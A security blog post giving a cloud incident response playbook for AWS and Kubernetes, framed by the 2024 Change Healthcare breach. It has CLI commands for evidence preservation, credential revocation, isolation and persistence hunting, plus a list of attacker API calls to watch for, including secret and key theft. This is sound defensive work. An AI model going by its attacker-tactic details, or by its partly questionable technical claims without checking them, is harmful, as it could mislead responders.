pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-attack/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape/">Kubernetes container escape</a> → <a href="/supply-chain-attack-detection/">Supply chain attack detection</a> → <a href="/cloud-lateral-movement-iam/">Cloud lateral movement IAM</a> → <a href="/detection-engineering-ebpf-cloud/">Detection engineering with eBPF</a> → <strong>Cloud Incident Response Playbook</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>A <strong>cloud incident response playbook</strong> is not documentation you write after a breach — it is the executable sequence your team runs in the first 24 hours, rehearsed before the breach happens</li>
<li>The ChangeHealthcare attack (February 2024) disrupted $22 billion in medical claims processing and exposed 190 million Americans&#8217; health data; the initial vector was a single set of stolen credentials and a Citrix portal with no MFA</li>
<li>Hours 0–1: declare the incident immediately, scope the blast radius, and start querying CloudTrail — do not investigate quietly</li>
<li>Hours 1–4: contain by revoking credentials and isolating infrastructure, but preserve evidence before any remediation — forensic snapshots and log exports before terminating anything</li>
<li>Hours 4–12: trace lateral movement via AssumeRole chains, identify persistence mechanisms (new IAM users/roles, Lambda backdoors, modified images), and confirm the full data access scope</li>
<li>Hours 12–24: eradicate from known-good baselines, not by patching compromised instances; recover dev → staging → prod; trigger regulatory notification timers</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> Cross-cutting — incident response is not mapped to a single OWASP category because a breach can enter through any of them. IR quality is the backstop when prevention fails across A01 (broken access control), A07 (authentication failures), A08 (supply chain), and every other vector. The 24-hour window covered here applies regardless of initial entry point.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│            CLOUD INCIDENT RESPONSE: THE 24-HOUR SEQUENCE                │
│                                                                         │
│  ALERT                                                                  │
│    GuardDuty / Falco / anomaly detection fires                          │
│    ↓                                                                    │
│  TRIAGE  [0–1h]                                                         │
│    Declare incident → scope blast radius → open incident channel        │
│    Is the attacker still active? What data is at risk?                  │
│    ↓                                                                    │
│  CONTAIN  [1–4h]                                                        │
│    Revoke credentials → isolate compute → cordon K8s nodes             │
│    !! Do NOT terminate instances before snapshot !!                     │
│    ↓                                                                    │
│  PRESERVE  [1–4h, parallel with contain]                                │
│    EBS snapshots → CloudTrail log export → VPC Flow export              │
│    Forensic copy before any remediation changes the system state        │
│    ↓                                                                    │
│  INVESTIGATE  [4–12h]                                                   │
│    AssumeRole chain analysis → data access scope → persistence hunt     │
│    eBPF/Falco/Tetragon evidence if available (see EP11)                 │
│    ↓                                                                    │
│  ERADICATE  [12–24h]                                                    │
│    Remove persistence → rotate ALL credentials in blast radius          │
│    Replace compromised instances from known-good hardened AMI           │
│    ↓                                                                    │
│  RECOVER  [12–24h]                                                      │
│    dev → staging → prod sequence. Never prod-first.                     │
│    Verify monitoring before declaring all-clear                         │
│    ↓                                                                    │
│  LEARN                                                                  │
│    Post-incident review → timeline → regulatory notifications           │
│    Update playbook before the next incident                             │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>A <strong>cloud incident response playbook</strong> that exists only as a document is not an incident response capability. The sequence above is only useful if your team has rehearsed it — run it as a tabletop, run it in a chaos exercise, run it on a simulated breach in a non-prod account. The first time through this sequence should not be during an actual breach.</p>
<hr />
<h2 id="the-incident-changehealthcare-february-2024">The Incident: ChangeHealthcare (February 2024)</h2>
<p>On February 21, 2024, ransomware attacked Change Healthcare, a UnitedHealth Group subsidiary that processes roughly 50% of US medical claims. By the time containment completed, the damage was:</p>
<ul>
<li><strong>$22 billion</strong> in medical claims processing disrupted</li>
<li><strong>190 million</strong> Americans&#8217; health data potentially exposed</li>
<li>Hospitals unable to process insurance claims for weeks — some faced payroll crises because they couldn&#8217;t get reimbursed for care already delivered</li>
<li>A $22 million ransom paid to ALPHV/BlackCat, followed by ALPHV exit-scamming the affiliate (keeping the ransom), followed by RansomHub re-extorting with the same data</li>
</ul>
<p>The initial vector: a Citrix remote access portal with no MFA enforced. A single set of stolen credentials. That&#8217;s it.</p>
<p>What made the outcome as severe as it was: the attackers had nine days of dwell time before the ransomware detonated. Nine days of lateral movement, data staging, and backup discovery before the explosion. The first 24 hours after detection determine whether you contain an intrusion or respond to a full-scale breach. The ChangeHealthcare team was responding to a full-scale breach because the first 24 hours happened nine days before anyone knew there was an incident.</p>
<p>There is an inverse relationship between incident response quality and preparation investment. Teams that contain in four hours practiced containing in four hours. Teams that discover they have no forensic evidence discover that during the investigation, not before it.</p>
<hr />
<h2 id="hour-01-detect-and-declare">Hour 0–1: Detect and Declare</h2>
<h3 id="step-1-declare-do-not-investigate-quietly">Step 1: Declare — Do Not Investigate Quietly</h3>
<p>The instinct when something looks suspicious is to investigate before escalating. That instinct is wrong in cloud incidents. Every minute of quiet investigation is a minute the attacker may be escalating privileges, staging data, or discovering your backups.</p>
<p>Declare the incident immediately. The threshold for declaration is suspicion, not confirmation.</p>
<p><strong>Who to notify in the first 15 minutes:</strong><br />
&#8211; CISO (or on-call security lead)<br />
&#8211; Legal counsel (regulatory clock starts now; you need legal involved from minute one)<br />
&#8211; On-call SRE lead (you will need infrastructure access)<br />
&#8211; Communications lead (if external-facing systems are involved)</p>
<p><strong>Operational setup:</strong><br />
1. Create a dedicated incident Slack channel: <code class="" data-line="">#incident-YYYY-MM-DD-brief-descriptor</code><br />
2. Start an incident log — a shared doc, timestamped, with every action taken and by whom. This becomes your evidence log and your regulatory submission document.<br />
3. Assign a scribe. The incident commander should not also be taking notes.</p>
<h3 id="step-2-scope-the-blast-radius">Step 2: Scope the Blast Radius</h3>
<p>Before touching anything, answer three questions:</p>
<ol>
<li><strong>Is the attacker still active?</strong> (Is this ongoing or historical?)</li>
<li><strong>What is the potential blast radius?</strong> (Which accounts, regions, services, principals are in scope?)</li>
<li><strong>What data is at risk?</strong> (PII, credentials, intellectual property, PHI/PII with regulatory implications?)</li>
</ol>
<h3 id="step-3-initial-cloudtrail-query">Step 3: Initial CloudTrail Query</h3>
<pre><code class="" data-line=""># Run this before touching anything — you want a clean baseline
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=suspected-role \
  --start-time $(date -d &#039;1 hour ago&#039; --iso-8601=seconds) \
  --query &#039;Events[*].[EventTime,EventName,Resources[0].ResourceName]&#039; \
  --output table
</code></pre>
<pre><code class="" data-line=""># If you don&#039;t know the principal yet — look for unusual API activity
# across all principals in the last hour
aws cloudtrail lookup-events \
  --start-time $(date -d &#039;1 hour ago&#039; --iso-8601=seconds) \
  --query &#039;Events[*].{Time:EventTime,User:Username,Event:EventName,Source:EventSource}&#039; \
  --output json | \
  jq &#039;sort_by(.Time) | reverse | .[:50]&#039;
# Look for: CreateUser, AttachRolePolicy, PutRolePolicy, CreateAccessKey,
#           GetSecretValue, ListBuckets, DescribeInstances in rapid succession
</code></pre>
<pre><code class="" data-line=""># Check GuardDuty for the triggering finding
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty get-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-ids $(aws guardduty list-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-criteria &#039;{
      &quot;Criterion&quot;: {
        &quot;updatedAt&quot;: {&quot;Gte&quot;: &#039;$(date -d &#039;24 hours ago&#039; +%s000)&#039;}
      }
    }&#039; \
    --sort-criteria &#039;{&quot;AttributeName&quot;:&quot;updatedAt&quot;,&quot;OrderBy&quot;:&quot;DESC&quot;}&#039; \
    --max-results 10 \
    --query &#039;FindingIds&#039; --output text) | \
  jq &#039;.Findings[] | {type: .Type, severity: .Severity, time: .UpdatedAt, detail: .Description}&#039;
</code></pre>
<hr />
<h2 id="hour-14-contain-without-destroying-evidence">Hour 1–4: Contain Without Destroying Evidence</h2>
<p>The central tension in early containment: you need to stop the bleeding, but you also need the evidence. Terminating a compromised EC2 instance stops the threat on that instance — it also destroys the process table, network connections, in-memory artifacts, and filesystem state that the investigation needs.</p>
<p><strong>The order of operations:</strong><br />
1. Preserve (snapshot, export logs)<br />
2. Contain (revoke credentials, isolate network)<br />
3. Never terminate before step 1</p>
<h3 id="evidence-preservation-before-any-containment-action">Evidence Preservation (Before Any Containment Action)</h3>
<pre><code class="" data-line=""># Create EBS snapshots of ALL volumes on compromised instances
# Do this FIRST — before network isolation, before anything
aws ec2 describe-instances \
  --instance-ids i-compromised-instance-id \
  --query &#039;Reservations[].Instances[].BlockDeviceMappings[].Ebs.VolumeId&#039; \
  --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read vol_id; do
    echo &quot;Snapshotting volume: ${vol_id}&quot;
    aws ec2 create-snapshot \
      --volume-id &quot;${vol_id}&quot; \
      --description &quot;IR evidence - $(date --iso-8601) - ${vol_id}&quot; \
      --tag-specifications &quot;ResourceType=snapshot,Tags=[{Key=incident,Value=active},{Key=preserve,Value=legal-hold}]&quot;
  done
</code></pre>
<pre><code class="" data-line=""># Export CloudTrail logs for the incident window to a local IR evidence directory
# Use a time window that starts 24 hours before the suspected compromise
aws s3 sync \
  s3://your-cloudtrail-bucket/AWSLogs/123456789012/CloudTrail/ \
  ./ir-evidence/cloudtrail/ \
  --exclude &quot;*&quot; \
  --include &quot;*/2024/02/21/*&quot; \
  --include &quot;*/2024/02/22/*&quot;
</code></pre>
<pre><code class="" data-line=""># Export VPC Flow Logs for the incident window
# These show network connections that CloudTrail doesn&#039;t capture
aws logs filter-log-events \
  --log-group-name /aws/vpc/flowlogs \
  --start-time $(date -d &#039;24 hours ago&#039; +%s000) \
  --end-time $(date +%s000) \
  --query &#039;events[*].message&#039; \
  --output text &gt; ./ir-evidence/vpc-flow-logs.txt
</code></pre>
<h3 id="containment-action-1-revoke-the-compromised-credential">Containment Action 1: Revoke the Compromised Credential</h3>
<pre><code class="" data-line=""># Option A: Disable an IAM user&#039;s access key (reversible — preserves key for forensics)
aws iam update-access-key \
  --user-name compromised-user \
  --access-key-id AKIAIOSFODNN7EXAMPLE \
  --status Inactive

# Option B: If the compromised principal is an IAM role —
# attach a deny-all inline policy (fastest, takes effect immediately)
aws iam put-role-policy \
  --role-name compromised-role \
  --policy-name incident-deny-all \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {
        &quot;Sid&quot;: &quot;IncidentDenyAll&quot;,
        &quot;Effect&quot;: &quot;Deny&quot;,
        &quot;Action&quot;: &quot;*&quot;,
        &quot;Resource&quot;: &quot;*&quot;
      }
    ]
  }&#039;
</code></pre>
<pre><code class="" data-line=""># Option C: If you need to revoke ALL active sessions for a role immediately
# (active STS sessions are not invalidated by the deny policy alone
#  until the session token expires — use this to force immediate revocation)
aws iam put-role-policy \
  --role-name compromised-role \
  --policy-name incident-deny-all \
  --policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
      {
        &quot;Effect&quot;: &quot;Deny&quot;,
        &quot;Action&quot;: &quot;*&quot;,
        &quot;Resource&quot;: &quot;*&quot;,
        &quot;Condition&quot;: {
          &quot;DateLessThan&quot;: {
            &quot;aws:TokenIssueTime&quot;: &quot;&#039;$(date --iso-8601=seconds)&#039;&quot;
          }
        }
      }
    ]
  }&#039;
# This denies all requests where the token was issued before right now
# — effectively invalidating all existing sessions for this role
</code></pre>
<h3 id="containment-action-2-isolate-affected-ec2-instances">Containment Action 2: Isolate Affected EC2 Instances</h3>
<pre><code class="" data-line=""># Create an isolation security group — no ingress, no egress
# except SSH from your IR bastion (for forensic access if needed)
ISOLATION_SG=$(aws ec2 create-security-group \
  --group-name &quot;incident-isolation-$(date +%Y%m%d)&quot; \
  --description &quot;Incident isolation - no network access except IR bastion&quot; \
  --vpc-id vpc-your-vpc-id \
  --query &#039;GroupId&#039; \
  --output text)

echo &quot;Isolation SG created: ${ISOLATION_SG}&quot;

# Add ingress rule: only from IR bastion (for forensic access)
# Remove this rule entirely if you don&#039;t need it
aws ec2 authorize-security-group-ingress \
  --group-id &quot;${ISOLATION_SG}&quot; \
  --protocol tcp \
  --port 22 \
  --cidr YOUR-IR-BASTION-IP/32

# Apply the isolation SG to the compromised instance
# This replaces all existing security groups — the instance is now isolated
aws ec2 modify-instance-attribute \
  --instance-id i-compromised-instance-id \
  --groups &quot;${ISOLATION_SG}&quot;
</code></pre>
<p><strong>Important:</strong> Do not terminate the instance. The isolated instance remains available for forensic analysis via the IR bastion. Termination destroys volatile evidence. You terminate after the investigation is complete and legal has cleared the evidence for destruction.</p>
<h3 id="containment-action-3-kubernetes-cordon-dont-delete">Containment Action 3: Kubernetes — Cordon, Don&#8217;t Delete</h3>
<pre><code class="" data-line=""># Cordon the compromised node — prevents new pod scheduling
kubectl cordon node/compromised-node-name

# Label the node for IR tracking
kubectl label node/compromised-node-name incident=active preserve=legal-hold

# If a specific pod is the concern — do NOT kubectl delete pod
# Instead, collect forensic information first
POD_NAME=&quot;compromised-pod&quot;
NAMESPACE=&quot;production&quot;

# Capture the full pod spec and status
kubectl get pod &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -o json &gt; \
  ./ir-evidence/pod-spec-${POD_NAME}.json

# Capture environment variables (may contain credential evidence)
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- env &gt; \
  ./ir-evidence/pod-env-${POD_NAME}.txt 2&gt;/dev/null

# Capture running processes
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- ps auxf &gt; \
  ./ir-evidence/pod-processes-${POD_NAME}.txt 2&gt;/dev/null

# Capture network connections
kubectl exec &quot;${POD_NAME}&quot; -n &quot;${NAMESPACE}&quot; -- ss -tunapw &gt; \
  ./ir-evidence/pod-netstat-${POD_NAME}.txt 2&gt;/dev/null

# Now you can delete the pod if needed — you have the evidence
</code></pre>
<hr />
<h2 id="hour-412-investigate-the-blast-radius">Hour 4–12: Investigate the Blast Radius</h2>
<p>Containment stops the active threat. Investigation answers: what did they do, where did they go, and what did they touch?</p>
<h3 id="trace-the-lateral-movement">Trace the Lateral Movement</h3>
<p>The most important lateral movement mechanism in AWS is AssumeRole chaining — a compromised principal assumes a role, which has permissions to assume another role, building a privilege escalation path. <a href="/aws-iam-privilege-escalation/">IAM attack path reconstruction</a> requires following this chain through CloudTrail.</p>
<pre><code class="" data-line=""># Find all AssumeRole events from the compromised principal
# This shows every role the attacker assumed after initial compromise
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    select(.userIdentity.arn | contains(&quot;compromised-role&quot;)) | 
    {
      time: .eventTime,
      caller: .userIdentity.arn,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># Follow the chain — get ALL roles assumed during the incident window
# regardless of source, then trace connections manually
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq -r &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    [.eventTime, .userIdentity.arn, .requestParameters.roleArn, .sourceIPAddress] | 
    @tsv&#039; | \
  sort -k1
# Build the graph manually: which ARN called AssumeRole for which target role
# Any role not in your expected deployment automation is suspicious
</code></pre>
<h3 id="find-what-data-was-accessed">Find What Data Was Accessed</h3>
<pre><code class="" data-line=""># S3 GetObject events — shows every object the attacker read
# NOTE: S3 data events are NOT enabled by default in CloudTrail
# If you haven&#039;t pre-enabled them, this query returns nothing useful
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --end-time &quot;2024-02-22T23:59:59Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      bucket: .requestParameters.bucketName,
      key: .requestParameters.key,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># Secrets Manager — what secrets were accessed?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      secret: .requestParameters.secretId,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<pre><code class="" data-line=""># KMS — what was decrypted?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=Decrypt \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | 
    (.CloudTrailEvent | fromjson) | 
    {
      time: .eventTime,
      user: .userIdentity.arn,
      key_id: .requestParameters.keyId,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<h3 id="hunt-for-persistence-mechanisms">Hunt for Persistence Mechanisms</h3>
<p>Attackers establish persistence before detonating ransomware or before exfiltrating at scale. The most common persistence mechanisms in AWS:</p>
<pre><code class="" data-line=""># New IAM users created during the incident window
aws iam list-users \
  --query &#039;Users[?CreateDate&gt;=`2024-02-21T00:00:00Z`].[UserName,CreateDate,UserId]&#039; \
  --output table

# New IAM roles created during the incident window
aws iam list-roles \
  --query &#039;Roles[?CreateDate&gt;=`2024-02-21T00:00:00Z`].[RoleName,CreateDate,RoleId]&#039; \
  --output table

# New IAM access keys created for existing users
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | {time: .eventTime, user: .requestParameters.userName, by: .userIdentity.arn}&#039;
</code></pre>
<pre><code class="" data-line=""># Lambda functions with recent code modifications
# (Lambda is a common backdoor target — function code is easy to modify)
aws lambda list-functions \
  --query &#039;Functions[?LastModified&gt;=`2024-02-21`].[FunctionName,LastModified,Runtime]&#039; \
  --output table

# For any recently modified function — check for unexpected environment variables
aws lambda get-function-configuration \
  --function-name suspicious-function-name \
  --query &#039;{env: Environment.Variables, role: Role, handler: Handler}&#039;
</code></pre>
<pre><code class="" data-line=""># CloudFormation stacks created or modified during incident window
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateStack \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | {time: .eventTime, stack: .requestParameters.stackName, by: .userIdentity.arn}&#039;

# EC2 user-data modifications (backdoor via user data on restart)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ModifyInstanceAttribute \
  --start-time &quot;2024-02-21T00:00:00Z&quot; \
  --output json | \
  jq &#039;.Events[] | (.CloudTrailEvent | fromjson) | select(.requestParameters | has(&quot;userData&quot;)) | {time: .eventTime, instance: .requestParameters.instanceId, by: .userIdentity.arn}&#039;
</code></pre>
<h3 id="ebpf-and-falco-evidence-if-available">eBPF and Falco Evidence (If Available)</h3>
<p>If your environment runs Falco or Cilium Tetragon (see <a href="/detection-engineering-ebpf-cloud/">detection engineering with eBPF</a>), the kernel-level telemetry from EP11 is now forensic evidence:</p>
<pre><code class="" data-line=""># Tetragon: export process execution events for the incident window
# Tetragon writes to /var/log/tetragon/tetragon.log by default
# Filter by the time window and affected pod/node

# On the affected node (or via log aggregation if you ship to a SIEM):
cat /var/log/tetragon/tetragon.log | \
  jq &#039;select(.time &gt;= &quot;2024-02-21T00:00:00Z&quot; and .time &lt;= &quot;2024-02-22T23:59:59Z&quot;) |
    select(.process_exec != null) |
    {
      time: .time,
      pod: .process_exec.process.pod.name,
      ns: .process_exec.process.pod.namespace,
      binary: .process_exec.process.binary,
      args: .process_exec.process.arguments,
      parent: .process_exec.parent.binary
    }&#039; | head -100
</code></pre>
<pre><code class="" data-line=""># Falco: pull alerts from the incident window out of your SIEM/log store
# If you&#039;re running Falco with file output:
grep &quot;2024-02-21\|2024-02-22&quot; /var/log/falco/events.json | \
  jq &#039;select(.priority == &quot;Critical&quot; or .priority == &quot;Error&quot;) |
    {time: .time, rule: .rule, output: .output, pod: .output_fields.&quot;k8s.pod.name&quot;}&#039; | \
  head -50
</code></pre>
<p>Process lineage from Tetragon (which parent process spawned which child) is often the clearest signal of container escape or lateral movement within a cluster. It shows attack paths that API-layer logging cannot reconstruct.</p>
<hr />
<h2 id="hour-1224-eradicate-and-recover">Hour 12–24: Eradicate and Recover</h2>
<h3 id="remove-persistence">Remove Persistence</h3>
<p>Work through the persistence findings from the investigation phase in order:</p>
<pre><code class="" data-line=""># Delete unauthorized IAM users created during the incident
# First: disable their access keys
aws iam list-access-keys --user-name attacker-created-user \
  --query &#039;AccessKeyMetadata[].AccessKeyId&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read key_id; do
    aws iam update-access-key --user-name attacker-created-user \
      --access-key-id &quot;${key_id}&quot; --status Inactive
  done

# Then: detach all policies, remove from groups, delete login profile, delete user
aws iam detach-user-policy --user-name attacker-created-user \
  --policy-arn arn:aws:iam::123456789012:policy/attached-policy
aws iam delete-user --user-name attacker-created-user
</code></pre>
<pre><code class="" data-line=""># Rotate ALL credentials that could have been accessed during the incident window
# Not just the initial compromise — every secret in the blast radius

# List all IAM user access keys in the affected account
aws iam list-users --query &#039;Users[].UserName&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read user; do
    aws iam list-access-keys --user-name &quot;${user}&quot; \
      --query &#039;AccessKeyMetadata[?Status==`Active`].{User:UserName,Key:AccessKeyId}&#039; \
      --output json
  done | jq -s &#039;flatten&#039;
# For each key: create new key → update application config → delete old key
</code></pre>
<pre><code class="" data-line=""># Remove Lambda backdoors — restore from last known-good deployment
# Do NOT patch the modified function — replace the entire deployment package
aws lambda update-function-code \
  --function-name backdoored-function \
  --s3-bucket your-code-bucket \
  --s3-key known-good/function-v1.2.3.zip

# Reset environment variables (remove anything added during incident)
aws lambda update-function-configuration \
  --function-name backdoored-function \
  --environment &#039;Variables={EXPECTED_VAR=expected_value}&#039;
</code></pre>
<h3 id="replace-compromised-instances-from-known-good-baselines">Replace Compromised Instances From Known-Good Baselines</h3>
<p>Do not patch a compromised instance and return it to production. The instance&#8217;s integrity is unknown — the attacker may have modified binaries, installed kernel modules, or altered the init system in ways that a filesystem scan won&#8217;t catch.</p>
<p>Replace from a known-good hardened image:</p>
<pre><code class="" data-line=""># Launch a replacement from a hardened baseline AMI
# If you&#039;re running a Stratum-built image pipeline, this is where it pays off:
# you have a signed, hardened, versioned AMI to replace from

aws ec2 run-instances \
  --image-id ami-known-good-hardened-baseline \
  --instance-type t3.medium \
  --subnet-id subnet-your-private-subnet \
  --security-groups sg-your-normal-sg \
  --iam-instance-profile Name=your-instance-profile \
  --tag-specifications \
    &#039;ResourceType=instance,Tags=[{Key=Name,Value=replacement-post-incident},{Key=incident-id,Value=2024-02-21}]&#039; \
  --user-data file://init-script.sh
</code></pre>
<p>If you don&#8217;t have a hardened AMI pipeline, this incident is the forcing function to build one. Rebuilding from a generic AMI means re-running your full configuration management stack and hoping nothing drifts. Rebuilding from a known-good hardened baseline means launching and verifying.</p>
<h3 id="recovery-sequence">Recovery Sequence</h3>
<pre><code class="" data-line="">dev → staging → prod

Not prod first. Not all at once.
</code></pre>
<p>Bring dev back up. Verify monitoring and alerting are functional — specifically, verify that the detection that fired during this incident still fires in dev. If you can&#8217;t reproduce the detection in dev, you don&#8217;t know if it&#8217;s working.</p>
<p>Promote to staging. Run your standard smoke tests plus whatever you added to your detection suite based on this incident.</p>
<p>Promote to prod only after staging has been clean for at least four hours.</p>
<hr />
<h2 id="the-post-incident-review">The Post-Incident Review</h2>
<p>Schedule it within 72 hours of resolution. Not a blame session — a timeline reconstruction and process improvement meeting. What to document:</p>
<p><strong>Timeline reconstruction (to the minute):</strong></p>
<table>
<thead>
<tr>
<th>Time</th>
<th>Event</th>
<th>Who</th>
<th>Evidence Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>Feb 21 12:47</td>
<td>Initial compromise — credential used from unexpected IP</td>
<td>Attacker</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>Feb 21 12:51</td>
<td>First AssumeRole to production role</td>
<td>Attacker</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>Feb 21 13:15</td>
<td>S3 ListBuckets on customer-data bucket</td>
<td>Attacker</td>
<td>CloudTrail data events</td>
</tr>
<tr>
<td>Feb 21 21:30</td>
<td>GuardDuty fires: UnauthorizedAccess:IAMUser/AnomalousBehavior</td>
<td>GuardDuty</td>
<td>GuardDuty finding</td>
</tr>
<tr>
<td>Feb 21 21:35</td>
<td>On-call engineer acknowledges alert</td>
<td>SRE</td>
<td>PagerDuty</td>
</tr>
<tr>
<td>Feb 21 21:50</td>
<td>Incident declared, channel created</td>
<td>IR lead</td>
<td>Slack</td>
</tr>
</tbody>
</table>
<p><strong>Key metrics to measure and improve:</strong></p>
<ul>
<li><strong>Mean Time to Detect (MTTD):</strong> Time between initial compromise and first alert</li>
<li><strong>Mean Time to Declare (MTTDeclare):</strong> Time between first alert and formal incident declaration</li>
<li><strong>Mean Time to Contain (MTTC):</strong> Time between declaration and credential revocation + network isolation</li>
<li><strong>Blast radius:</strong> Accounts, services, data classifications confirmed in scope</li>
</ul>
<p><strong>Regulatory notification requirements (know these before the incident):</strong></p>
<ul>
<li>GDPR: 72 hours from discovery to supervisory authority notification</li>
<li>HIPAA: 60 days from discovery to individual notification; 60 days to HHS for breaches affecting 500+ individuals</li>
<li>CCPA: &#8220;expedient&#8221; notification to individuals; no fixed statutory window for regulator notification but AG guidance suggests 72 hours</li>
<li>SEC (public companies): 4 business days from determining the incident is &#8220;material&#8221;</li>
<li>Check your state breach notification laws — 50 states, 50 different windows</li>
</ul>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
